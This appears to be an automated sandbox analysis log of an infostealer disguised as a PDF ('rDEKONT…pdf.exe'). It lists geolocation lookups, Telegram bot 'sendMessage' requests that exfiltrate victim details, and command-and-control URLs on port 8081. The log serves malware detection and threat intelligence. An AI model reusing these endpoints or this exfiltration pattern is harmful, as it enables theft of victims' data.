Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:116938%0D%0ADate%20and%20Time:%2016/01/2025%20/%2013:16:46%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20116938%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:116938%0D%0ADate%20and%20Time:%2016/01/2025%20/%2012:17:29%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20116938%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 16 Jan 2025 06:02:14 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 16 Jan 2025 06:02:18 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1725618218.0000000004969000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4148166401.0000000000432000.00000040.00000400.00020000.00000000.sdmp, teXfNv.exe, 00000008.00000002.1766895440.0000000004241000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1725618218.0000000004969000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4148166401.0000000000432000.00000040.00000400.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 00000008.00000002.1766895440.0000000004241000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002B41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://aborters.duckdns.org:8081
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1725618218.0000000004969000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4148166401.0000000000432000.00000040.00000400.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 00000008.00000002.1766895440.0000000004241000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002B41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anotherarmy.dns.army:8081
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002A71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002B41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1725618218.0000000004969000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4148166401.0000000000432000.00000040.00000400.00020000.00000000.sdmp, teXfNv.exe, 00000008.00000002.1766895440.0000000004241000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/q
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1724559523.00000000035B4000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 00000008.00000002.1764945738.0000000003249000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002B41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1725618218.0000000004969000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4148166401.0000000000432000.00000040.00000400.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 00000008.00000002.1766895440.0000000004241000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002B41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://varders.kozow.com:8081
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fonts.com
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sakkal.com
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.tiro.com
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.typography.netD
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1730097707.0000000009A92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.zhongyicts.com.cn
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002B58000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002C26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1725618218.0000000004969000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002B58000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4148166401.0000000000432000.00000040.00000400.00020000.00000000.sdmp, teXfNv.exe, 00000008.00000002.1766895440.0000000004241000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002C26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002B58000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002C26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002B58000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002C26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:116938%0D%0ADate%20a
Source: teXfNv.exe, 0000000B.00000002.4151393860.0000000002D04000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002C49000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002C26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=enh
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002C30000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002CFF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=enlBkq
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002AC2000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002B58000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002B31000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002C00000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002C26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1725618218.0000000004969000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002AC2000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4148166401.0000000000432000.00000040.00000400.00020000.00000000.sdmp, teXfNv.exe, 00000008.00000002.1766895440.0000000004241000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002B91000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: teXfNv.exe, 0000000B.00000002.4151393860.0000000002C26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002AEC000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002B58000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002B31000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002BBA000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002C00000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002C26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003CF6000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002BA8000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003E19000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003D44000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003B52000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003BA0000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003BC7000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003E14000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003DC6000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003C22000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003EE9000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002C49000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003C70000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003C97000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003B58000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003BA2000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003CFC000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003B2D000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003CD1000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003DF5000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003BFD000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003EC4000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003C72000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003DA1000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003DCC000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003C28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003CF6000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002BA8000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003E19000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003D44000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003B52000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003BA0000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003BC7000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003E14000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003DC6000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003C22000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003EE9000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002C49000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003C70000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003C97000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003B58000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003BA2000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003CFC000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003B2D000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003CD1000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4158047612.0000000003DF5000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003BFD000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003EC4000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003C72000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003DA1000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003DCC000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4158095720.0000000003C28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: teXfNv.exe, 0000000B.00000002.4151393860.0000000002D35000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002C49000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002D26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.office.com/
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002C57000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.office.com/h
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4151342112.0000000002C61000.00000004.00000800.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4151393860.0000000002D30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.office.com/lBkq
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
